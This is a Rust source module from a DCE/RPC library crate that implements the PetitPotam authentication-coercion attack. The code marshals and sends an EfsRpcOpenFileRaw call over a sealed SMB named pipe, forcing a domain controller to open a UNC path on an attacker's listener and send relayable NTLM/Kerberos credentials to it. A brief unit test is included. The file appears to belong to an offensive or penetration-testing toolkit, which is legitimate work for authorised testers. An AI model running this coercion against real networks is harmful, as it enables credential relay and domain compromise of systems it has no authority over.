dcerpc 0.2.7

Pure-Rust DCE/RPC (MS-RPCE): hand-rolled NDR marshaling, PDUs, NTLMSSP sign+seal (packet privacy), TCP + SMB named-pipe transports, EPM, and SAMR/LSAT/DRSUAPI/SVCCTL/RRP/Netlogon/DCOM-WMI clients — no FFI
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

//! MS-EFSR coercion (PetitPotam) — `EfsRpcOpenFileRaw` forces the DC to open an attacker
//! UNC path, triggering outbound NTLM/Kerberos auth (relayable). Rides the SMB named-pipe
//! DCE/RPC transport; the EFSRPC interface is reachable on `\lsarpc` and `\efsrpc`.

use crate::ndr::NdrEncoder;
use crate::transport::SmbPipe;
use crate::{Result, Syntax};
use smb2_client::SmbClient;

/// EFSRPC interface (MS-EFSR), v1.0.
pub fn efsr_syntax() -> Syntax {
    Syntax::new("c681d488-d850-11d0-8c52-00c04fd90f7e", 1, 0)
}

pub const OPNUM_OPEN_FILE_RAW: u16 = 0;

/// EfsRpcOpenFileRaw(FileName=[in,string], Flags=[in]) — hContext is [out], not marshaled.
pub fn encode_open_file_raw(unc: &str) -> Vec<u8> {
    let mut e = NdrEncoder::new();
    e.referent(); // FileName pointer
    e.conformant_varying_wstr(unc); // NUL-terminated wide string
    e.u32(0); // Flags
    e.into_bytes()
}

pub struct CoerceClient<'a> {
    pipe: SmbPipe<'a>,
    sealed: bool,
}

impl<'a> CoerceClient<'a> {
    /// Sealed bind (RPC packet-privacy). MS-EFSR 3.1 mandates PKT_PRIVACY, and Server 2016+
    /// enforces it — an unsealed bind reaches the server but every method call faults with
    /// `nca_s_fault_ndr`. Pass the same credentials the SMB session was opened with.
    pub async fn bind_sealed(
        client: &'a mut SmbClient,
        file_id: [u8; 16],
        domain: &str,
        user: &str,
        password: &str,
        host: &str,
    ) -> Result<Self> {
        let mut pipe = SmbPipe::new(client, file_id);
        pipe.bind_sealed(efsr_syntax(), domain, user, password, host)
            .await?;
        Ok(CoerceClient { pipe, sealed: true })
    }

    /// Fire EfsRpcOpenFileRaw at `\\listener\share\x`. Returns the EFSRPC status word — a
    /// non-fault response means the DC processed the call (coercion attempted). Full auth
    /// capture requires a relay/listener on the attacker host (out of tool scope).
    pub async fn coerce(&mut self, listener: &str) -> Result<u32> {
        let unc = format!("\\\\{listener}\\share\\efsrpc.txt");
        let resp = if self.sealed {
            self.pipe
                .call_sealed(OPNUM_OPEN_FILE_RAW, &encode_open_file_raw(&unc))
                .await?
        } else {
            self.pipe
                .call(OPNUM_OPEN_FILE_RAW, &encode_open_file_raw(&unc))
                .await?
        };
        // EfsRpcOpenFileRaw returns [out] handle (20) + NTSTATUS at the tail.
        let status = resp
            .len()
            .checked_sub(4)
            .and_then(|o| resp.get(o..o + 4))
            .map(|b| u32::from_le_bytes(b.try_into().unwrap()))
            .unwrap_or(0);
        Ok(status)
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn open_file_raw_marshals_unc_and_flags() {
        let stub = encode_open_file_raw("\\\\10.0.0.1\\s\\x");
        // referent(4) then string; Flags is the trailing u32 = 0
        assert_ne!(u32::from_le_bytes(stub[0..4].try_into().unwrap()), 0); // referent nonzero
        assert_eq!(&stub[stub.len() - 4..], &[0, 0, 0, 0]); // Flags
    }
}